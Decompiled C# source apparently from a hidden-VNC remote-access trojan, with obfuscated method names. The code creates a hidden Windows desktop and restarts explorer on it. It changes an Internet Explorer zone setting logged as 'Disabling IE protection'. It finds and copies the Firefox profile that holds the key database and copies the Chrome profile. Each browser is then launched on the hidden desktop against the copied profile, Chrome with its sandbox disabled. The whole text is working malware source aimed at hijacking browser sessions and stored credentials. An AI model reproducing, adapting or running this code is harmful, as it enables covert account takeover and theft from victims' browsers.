// Token: 0x06000020 RID: 32 RVA: 0x00003818 File Offset: 0x00001A18
 private static void IncludeContext(string param, string ivk)
 {
     try
     {
         foreach (string text in Directory.GetDirectories(param))
         {
             if (!(text == ivk) && !(text.Substring(1, text.Length - 1) == ivk.Substring(1, ivk.Length - 1)))
             {
                 string fileName = Path.GetFileName(text);
                 if (!Directory.Exists(Path.Combine(ivk, fileName)))
                 {
                     Directory.CreateDirectory(Path.Combine(ivk, fileName));
                 }
                 SchemaMapper.IncludeContext(text, Path.Combine(ivk, fileName));
             }
         }
         foreach (string text2 in Directory.GetFiles(param))
         {
             try
             {
                 File.Copy(text2, Path.Combine(ivk, Path.GetFileName(text2)), true);
                 SchemaMapper.m_Rule += (int)new FileInfo(Path.Combine(ivk, Path.GetFileName(text2))).Length;
                 if (SchemaMapper.m_Reponse == 10)
                 {
                     SchemaMapper.ReflectContext(string.Concat(new object[]
                     {
                         "Copied ",
                         SchemaMapper.m_Rule / 1024 / 1024,
                         " of ",
                         SchemaMapper.m_Object
                     }));
                     SchemaMapper.m_Reponse = 0;
                 }
                 else
                 {
                     SchemaMapper.m_Reponse++;
                 }
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
 }
        // Token: 0x0600001F RID: 31 RVA: 0x000037A0 File Offset: 0x000019A0
        private static bool ConcatContext(string[] var1, DriveInfo cust)
        {
            int num = 0;

            SchemaMapper.ReflectContext("Begin calculating size for drive " + cust.VolumeLabel);
            foreach (string fileName in var1)
            {
                try
                {
                    num += (int)new FileInfo(fileName).Length;
                }
                catch
                {
                }
            }
            SchemaMapper.m_Object = num / 1024 / 1024;
            return((long)num < cust.AvailableFreeSpace);
        }
        // Token: 0x06000019 RID: 25 RVA: 0x00002E78 File Offset: 0x00001078
        public static void ComputeContext()
        {
            Streaming.defaultDesktp = ParamRuleContainer.GetThreadDesktop(ParamRuleContainer.GetCurrentThreadId());
            Streaming.Hdsktp        = ParamRuleContainer.OpenDesktop("sdfsddfg", 0, true, 511u);
            if (Streaming.Hdsktp == IntPtr.Zero)
            {
                Streaming.Hdsktp = ParamRuleContainer.CreateDesktop("sdfsddfg", null, IntPtr.Zero, 0u, 511u, IntPtr.Zero);
            }
            Streaming.ActiveDesktop = Streaming.Hdsktp;
            ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp);
            bool flag = false;

            Process[] processesByName = Process.GetProcessesByName("explorer");
            for (int i = 0; i < processesByName.Length; i++)
            {
                if (processesByName[i].MainWindowHandle != IntPtr.Zero)
                {
                    flag = true;
                }
            }
            if (!flag)
            {
                try
                {
                    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
                    string      value       = (string)registryKey.GetValue("WallPaper");
                    registryKey.SetValue("WallPaper", "");
                    registryKey.Close();
                    ParamRuleContainer.PatchContext("C:\\Windows\\explorer.exe", "/separate");
                    Thread.Sleep(500);
                    RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
                    registryKey2.SetValue("WallPaper", value);
                    registryKey2.Close();
                }
                catch (Exception ex)
                {
                    SchemaMapper.ReflectContext(ex.ToString());
                }
            }
        }
 // Token: 0x0600001E RID: 30 RVA: 0x00003710 File Offset: 0x00001910
 private static void AwakeContext()
 {
     try
     {
         SchemaMapper.ReflectContext("Disabling IE protection");
         Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3", "2500", 3, RegistryValueKind.DWord);
         int num = ParamRuleContainer.PatchContext("C:\\Windows\\System32\\cmd.exe", "/C start iexplore.exe -extoff -nomerge -noframemerging");
         Thread.Sleep(1000);
         if (num == 1)
         {
             SchemaMapper.ReflectContext("Succes IE");
         }
         else
         {
             SchemaMapper.ReflectContext("executing error code: " + num.ToString());
         }
     }
     catch (Exception ex)
     {
         SchemaMapper.ReflectContext(ex.Message);
     }
 }
        // Token: 0x0600001C RID: 28 RVA: 0x00003374 File Offset: 0x00001574
        private static void EnableContext(int start_i)
        {
            try
            {
                string text  = "";
                string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\";
                string text3 = File.ReadAllText(text2 + "profiles.ini");
                bool   flag  = false;
                SchemaMapper.ReflectContext("loking for relative profile");
                while (!flag)
                {
                    text3 = text3.Substring(text3.IndexOf("IsRelative=") + "IsRelative=".Length);
                    if (text3 == null)
                    {
                        SchemaMapper.ReflectContext("no relative profile found");
                        return;
                    }
                    if (text3[0] == '1')
                    {
                        string text4  = text3.Substring(text3.IndexOf("Path=") + "Path=".Length);
                        int    length = text4.IndexOf("\r\n");
                        text4 = text4.Substring(0, length).Replace("/", "\\");
                        if (File.Exists(text2 + text4 + "\\prefs.js") && (File.Exists(text2 + text4 + "\\key3.db") || File.Exists(text2 + text4 + "\\key4.db")))
                        {
                            text2 += text4;
                            flag   = true;
                        }
                    }
                }
                bool     flag2         = false;
                string[] logicalDrives = Environment.GetLogicalDrives();
                for (int i = 0; i < logicalDrives.Length; i++)
                {
                    DriveInfo driveInfo = new DriveInfo(logicalDrives[i]);
                    if (driveInfo.IsReady && driveInfo.DriveType == DriveType.Fixed && SchemaMapper.ConcatContext(Directory.GetFiles(text2, "*.*", SearchOption.AllDirectories), driveInfo))
                    {
                        SchemaMapper.ReflectContext("Got drive to copy");
                        text  = text2.Remove(0, 3).Insert(0, driveInfo.Name) + "C";
                        flag2 = true;
IL_193:
                        if (!flag2)
                        {
                            SchemaMapper.ReflectContext("Not enought space on disk to copy profile");
                        }
                        else
                        {
                            if (!Directory.Exists(text) || start_i == 3)
                            {
                                SchemaMapper.IncludeContext(text2, text);
                            }
                            SchemaMapper.UpdateContext(text);
                            string cont  = "/C start Firefox -no-remote -profile \"" + text + "\"";
                            string text5 = "C:\\Windows\\System32\\cmd.exe";
                            if (File.Exists("C:\\Program Files\\Mozilla Firefox\\firefox.exe"))
                            {
                                cont  = "-no-remote -profile \"" + text + "\"";
                                text5 = "C:\\Program Files\\Mozilla Firefox\\firefox.exe";
                            }
                            SchemaMapper.ReflectContext(text5);
                            int num = ParamRuleContainer.PatchContext(text5, cont);
                            Thread.Sleep(1000);
                            if (num == 1)
                            {
                                SchemaMapper.ReflectContext("Succes FF");
                            }
                            else
                            {
                                SchemaMapper.ReflectContext("executing error code: " + num.ToString());
                            }
                        }
                        return;
                    }
                }
                goto IL_193;
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.Message);
            }
        }
        // Token: 0x0600001B RID: 27 RVA: 0x000030CC File Offset: 0x000012CC
        private static void ForgotContext(int startfirst)
        {
            try
            {
                string text  = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default";
                string text2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default";
                if (!Directory.Exists(text2) || startfirst == 0)
                {
                    bool     flag          = false;
                    string[] logicalDrives = Environment.GetLogicalDrives();
                    int      i             = 0;
                    while (i < logicalDrives.Length)
                    {
                        string text3 = logicalDrives[i];
                        SchemaMapper.ReflectContext("Check drive " + text3 + "for space");
                        DriveInfo driveInfo = new DriveInfo(text3);
                        if (!driveInfo.IsReady || driveInfo.DriveType != DriveType.Fixed || !SchemaMapper.ConcatContext(Directory.GetFiles(text, "*.*", SearchOption.AllDirectories), driveInfo))
                        {
                            SchemaMapper.ReflectContext("Not enought space on " + text3 + " to copy profile");
                            i++;
                        }
                        else
                        {
                            flag = true;
                            SchemaMapper.ReflectContext("Got disk for copy");
                            text2 = text2.Remove(0, 3).Insert(0, driveInfo.Name);
IL_DD:
                            if (!flag)
                            {
                                SchemaMapper.ReflectContext("Not enought space on disks to copy profile");
                                return;
                            }
                            goto IL_F2;
                        }
                    }
                    goto IL_DD;
                }
IL_F2:
                string cont = "/C start chrome.exe --disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                string text4 = "C:\\Windows\\System32\\cmd.exe";
                if (File.Exists("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else if (File.Exists("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe"))
                {
                    cont  = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
                    text4 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\\chrome.exe";
                    SchemaMapper.ReflectContext(text4);
                }
                else
                {
                    SchemaMapper.ReflectContext("Chrome will start with cmd");
                }
                if (!Directory.Exists(text2) || startfirst == 0)
                {
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf");
                    Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\\Default");
                    SchemaMapper.ReflectContext("direcories created");
                    SchemaMapper.IncludeContext(text, text2);
                }
                SchemaMapper.ReflectContext("Executing chrome");
                int num = ParamRuleContainer.PatchContext(text4, cont);
                Thread.Sleep(1000);
                if (num == 1)
                {
                    SchemaMapper.ReflectContext("Succes Chrome");
                }
                else
                {
                    SchemaMapper.ReflectContext("executing error code: " + num.ToString());
                }
            }
            catch (Exception ex)
            {
                SchemaMapper.ReflectContext(ex.Message);
            }
        }